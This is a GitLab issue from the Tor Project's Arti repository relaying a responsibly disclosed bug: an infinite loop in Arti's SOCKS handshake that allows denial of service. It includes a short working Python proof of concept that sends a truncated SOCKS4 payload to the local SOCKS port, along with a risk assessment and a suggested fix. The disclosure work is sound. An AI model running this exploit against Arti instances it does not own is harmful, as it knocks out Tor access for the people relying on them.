Skip to content
GitLab
Projects Groups Topics Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in
  • Arti Arti
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
  • Issues 322
    • Issues 322
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 25
    • Merge requests 25
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Artifacts
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Container Registry
    • Terraform modules
    • Model experiments
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • The Tor Project
  • Core
  • ArtiArti
  • Issues
  • #861

TROVE-2023-001: [from security@torproject.org] DoS via infinite loop in Socks protocol implementation

Received the following email on security@torproject.org:

Issue description

The Socks protocol implementation in Arti will read from the socket to a 1024-bytes buffer in a loop. After reading from the socket, the packet is parsed via handshake.handshake, which will return the following values:

  • Ok(Ok(action)): Valid data received
  • Ok(Err(e)): Data is invalid, close connection
  • Err(_): Data is truncated/not yet fully read from socket

In the case of truncated data, the loop will read from the socket again, up to the 1024-bytes length of the buffer. After that, handshake.handshake is called again, possibly repeatedly until enough data has been received:

https://gitlab.torproject.org/tpo/core/arti/-/blob/main/crates/arti/src/socks.rs#L119-157

If handshake.handshake returns Err(_) even if the buffer is already full, the implementation will try to read zero bytes (in_buf[1024..] is an empty buffer), which will instantly finish. After this reading attempt, the code will try parsing the same data again, effectively resulting in an infinite loop. This can be triggered via the (null-terminated) username or hostname string in Socks4:

https://gitlab.torproject.org/tpo/core/arti/-/blob/main/crates/tor-socksproto/src/handshake/proxy.rs#L112

https://gitlab.torproject.org/tpo/core/arti/-/blob/main/crates/tor-socksproto/src/handshake/proxy.rs#L121

PoC

The following PoC will connect to 127.0.0.1:9150 and send a payload to exploit this issue:

#!/usr/bin/env python3

import socket


def main():
    s = socket.create_connection(("127.0.0.1", 9150))
    f = s.makefile('rwb')
    buf = b"".join([
        b"\x04",  # Socks version 4
        b"\x01",  # SocksCmd::CONNECT
        b"\x1337",  # Port, doesn't matter
        b"\x7f\x00\x00\x01",  # IP Addr, doesn't matter
        b"A" * 1024  # Username
    ])
    buf = buf[0:1024]  # Truncate it to 1024 bytes
    f.write(buf)
    f.flush()


if __name__ == '__main__':
    main()

In order to cause full DoS against the arti binary, this exploit will need to be run multiple times. Each run of the exploit will result in one thread in an infinite loop and effectively block one thread of the tokio runtime. The number of available threads defaults to the number of available CPUs and once all these threads are stuck in an infinite loop, the arti binary will be totally unresponsive.

Risk

Attackers able to reach the Socks port of Arti can cause DoS. Since the Socks port is by default only reachable on localhost, the risk is relatively low. However, there are a couple of situations where this could still be exploited:

  • Untrusted software running on the local machine, possibly in a sandboxed environment (for example Android Apps or certain software plugins) can still have unlimited network communication to localhost.
  • Arti used as a Tor gateway to provide Tor for other machines, i.e. on a Raspberry Pi.

Mitigation suggestion

Abort socks handling loop if handshake.handshake returns Err(_) (which means that more input data is expected) even though the input buffer has already been fully received (up to the 1024 byte limit).

CC: @nickm @Diziet @gabi-250

Assignee
Assign to
Time tracking